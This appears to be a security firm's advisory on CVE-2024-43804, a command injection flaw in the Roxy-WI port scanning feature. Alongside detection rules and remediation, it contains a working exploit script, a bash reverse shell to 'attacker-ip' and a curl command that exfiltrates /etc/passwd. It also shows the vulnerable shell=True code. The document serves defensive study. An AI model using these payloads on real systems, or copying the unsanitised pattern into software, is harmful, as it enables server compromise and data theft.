CVE-2024-43804

Executive Summary

CVE-2024-43804 is a critical OS Command Injection vulnerability in Roxy-WI, a web interface for managing Haproxy, Nginx, Apache, and Keepalived servers. The flaw resides in the port scanning functionality, where user-supplied JSON input (specifically the ip key) is passed directly to subprocess.Popen() with shell=True without sanitization. An authenticated attacker can execute arbitrary OS commands on the underlying server, leading to full compromise. The CVSS score is 8.8 (High), and no official patch has been released. This vulnerability is actively exploitable and poses a severe risk to environments using Roxy-WI.

Supply Chain & Package Security

Roxy-WI is a Python-based web application. The vulnerability is not in a third-party package but in the application’s own code. However, the use of subprocess.Popen with shell=True is a dangerous pattern that should be avoided. Organizations using Roxy-WI should treat it as a critical supply chain risk and consider replacing it with a more secure alternative until a patch is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires authentication.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): High (H) – Full data access.
• Integrity (I): High (H) – Full system modification.
• Availability (A): High (H) – Full system disruption.

Threat Level: Critical. The combination of low attack complexity, network exploitability, and high impact makes this a top-priority vulnerability.

Deep Dive & Mechanics

The vulnerability exists in the port scanning functionality of Roxy-WI. The application accepts JSON POST data, and if the id key is missing, the value of the ip key is assigned to the ip variable. This variable is then used to construct two command strings (cmd and cmd1) without any validation or sanitization. These commands are executed via server_mod.subprocess_execute(), which internally calls subprocess.Popen() with shell=True.

The core issue is the lack of input validation and the use of shell=True, which allows an attacker to inject arbitrary shell commands by appending shell metacharacters (e.g., ;, |, &&) to the ip value.

Example Attack Flow:

1. Attacker authenticates to Roxy-WI.
2. Attacker sends a POST request to the vulnerable endpoint with a JSON body like:

   {"ip": "127.0.0.1; whoami"}
   

3. The application constructs a command such as:

   nmap -p 80 127.0.0.1; whoami
   

4. The command is executed, and the output of whoami is returned to the attacker.

Vulnerable vs. Patched Code

Vulnerable Code (Roxy-WI):

# server_mod.py (simplified)
def subprocess_execute(cmd):
    import subprocess
    result = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    return result.communicate()

# In the port scanning handler:
data = json.loads(request.data)
if 'id' not in data:
    ip = data['ip']
cmd = f"nmap -p {ports} {ip}"
cmd1 = f"ping -c 1 {ip}"
output1 = subprocess_execute(cmd)
output2 = subprocess_execute(cmd1)

Patched Code (Hypothetical):

import shlex
import subprocess

def subprocess_execute_safe(cmd_list):
    result = subprocess.Popen(cmd_list, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    return result.communicate()

# In the port scanning handler:
data = json.loads(request.data)
if 'id' not in data:
    ip = data['ip']
    # Validate IP address format
    if not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip):
        raise ValueError("Invalid IP")
cmd = ["nmap", "-p", ports, ip]
cmd1 = ["ping", "-c", "1", ip]
output1 = subprocess_execute_safe(cmd)
output2 = subprocess_execute_safe(cmd1)

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a Roxy-WI instance with valid credentials.
• Network connectivity to the target.

Exploit Script (Python):

import requests
import json

target = "http://target-ip:8080"
username = "admin"
password = "password"

# Authenticate
session = requests.Session()
login_data = {"username": username, "password": password}
session.post(f"{target}/login", data=login_data)

# Exploit OS Command Injection
payload = {"ip": "127.0.0.1; id"}
response = session.post(f"{target}/port_scan", json=payload)
print(response.text)

Expected Output:

uid=1000(roxy) gid=1000(roxy) groups=1000(roxy)

Advanced Payloads:

• Reverse shell: {"ip": "127.0.0.1; bash -i >& /dev/tcp/attacker-ip/4444 0>&1"}
• Data exfiltration: {"ip": "127.0.0.1; curl http://attacker-ip/$(cat /etc/passwd)"}

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for POST requests to /port_scan with unusual ip values (e.g., containing ;, |, &, $).
2. Look for shell commands in HTTP request bodies.
3. Alert on outbound connections from the Roxy-WI server to unknown IPs on non-standard ports.

Honeypot Strategy:

• Deploy a fake Roxy-WI instance and monitor for exploitation attempts.
• Log all POST data to /port_scan for forensic analysis.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /port_scan with JSON body containing shell metacharacters.
  • Outbound connections from Roxy-WI server to attacker-controlled IPs.
  • Unusual DNS queries (e.g., for data exfiltration).

• Host IOCs:

  • Unexpected processes spawned by the Roxy-WI user (e.g., nmap, ping, bash).
  • Files created in /tmp/ with suspicious names.
  • Modified system binaries or configuration files.

• Log IOCs:

  • Application logs showing subprocess_execute calls with non-standard IP values.
  • System logs showing command execution by the Roxy-WI user.

Detection Engineering

YARA Rule

rule CVE_2024_43804_Roxy_WI_Command_Injection {
    meta:
        description = "Detects OS command injection attempts against Roxy-WI CVE-2024-43804"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-43804"
    strings:
        $json_ip = /"ip"\s*:\s*"[^"]*[;&|`$()]/
        $shell_cmd = /(;|\||`|\$\(|\$\{)/ 
    condition:
        $json_ip and $shell_cmd
}

Sigma Rule

title: CVE-2024-43804 Roxy-WI OS Command Injection
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2024-43804 via HTTP POST to /port_scan
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/port_scan'
        cs-request-body|contains: 
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in IP fields (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-43804 Roxy-WI OS Command Injection Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/port_scan"; http.request_body; content:"\"ip\""; pcre:"/\"ip\"\s*:\s*\"[^\"]*[;&|`]/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Roxy-WI server from the internet and restrict network access.
2. Disable the port scanning functionality if not required.
3. Apply a Web Application Firewall (WAF) rule to block requests containing shell metacharacters in the ip parameter.

Long-term Fix:

• Replace subprocess.Popen(cmd, shell=True) with subprocess.Popen(cmd_list, shell=False).
• Implement strict input validation for IP addresses (e.g., regex ^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$).
• Use a parameterized approach for command execution.

Workaround:

• If patching is not possible, consider migrating to an alternative web interface for server management.

Valters IT
Securing Digital Frontiers